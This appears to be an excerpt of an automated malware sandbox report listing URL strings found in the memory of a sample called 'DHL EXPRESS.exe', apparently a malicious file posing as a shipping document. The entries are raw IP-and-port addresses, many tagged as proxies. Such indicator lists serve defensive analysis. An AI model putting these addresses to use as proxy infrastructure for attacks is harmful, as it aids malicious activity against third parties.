Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.33.190:7841://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.35.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.35.209:17464
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.35.209:17464://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.35.209:46695
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.35.209:46695://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.37.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.37.252:14791
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.37.252:14791://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.23.233.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.23.233.210:53343
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.23.233.210:53343://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.128.243:10513
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.128.243:10513://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.128.243:10513p
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.128.246:34350
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.128.246:34350://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.129.5
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.129.53:14464
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.129.53:14464://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.131.5
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.131.58:30885
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.131.58:30885://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.154.103:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.154.103:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.45.246.194:8888
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.45.246.194:8888://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD91E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.84.6.21:62645
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.84.6.21:62645://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAD41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.205.190.164:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.205.190.164:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.210.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.210.115:52874
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB20F000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.210.118:54924
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.210.118:54924://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.210.118:58703
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.210.118:58703://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.210.167:36193
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.210.167:36193://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.210.62:38907
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.210.62:38907://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.212.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.212.36:21355
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.212.36:21355://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.212.47:13916
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.212.47:13916://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.212.48:60561://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.212.49:47354
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.212.49:47354://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.212.49:47354P
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.212.50:40080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.212.50:40080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB45A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.212.50:59268
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB46A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.213.212.50:59268://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.227.186.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.227.186.23:57676
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.227.186.23:57676://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.227.186.83:56370
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.227.186.83:56370://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.226:25639
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.226:25639://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD849000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.226:5791
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.226:5791://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:10049
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:10049://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:13537
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:14751
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:14751://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:23973
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:23973://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:2411
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:2411://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:28723
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:28723://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:4711
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.227:4711://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:13141
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:13141://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:15079://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:19599
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:19599://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:26353
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:26353://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:9039
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.228:9039://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.229:29003
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.229:29003://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC6CC000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.230:23685
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC6D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.230:23685://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.230:25491
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.230:25491://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.227.230:25491P
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC607000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.250:18003
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.250:18003://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.251:11339
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.251:11339://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.251:24279
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.251:24279://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.251:26087
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.251:26087://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.252:4495
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.252:4495://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:14493
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:14493://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:14869
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:14869://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:1807
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:1807://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:24279
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:24279://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC586000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:26087
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC607000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:26087://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:26087HJ4
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:28993
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:28993://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:31033
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:31033://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:3933
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:3933://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:5633
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:5633://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:6879
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:6879://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:7853
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:7853://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:9827
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:9827://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.253:9827P
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.254:28971
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.254:28971://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.254:32221
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.228.254:32221://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.18:13087
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.18:13087://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.18:13087H
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.18:17145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.18:17145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC53D000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.18:22645
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC546000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.18:22645://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.18:30333
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.18:30333://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC5F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.18:5879
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.18:5879://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:10363
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:10363://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:13175
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:13175://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:16829
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:16829://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:16829H
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:18129
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:18129://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:20001
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:20001://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:26693
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:26693://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:3011
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:3011://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:31295
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:31295://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:31733
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:31733://proxy
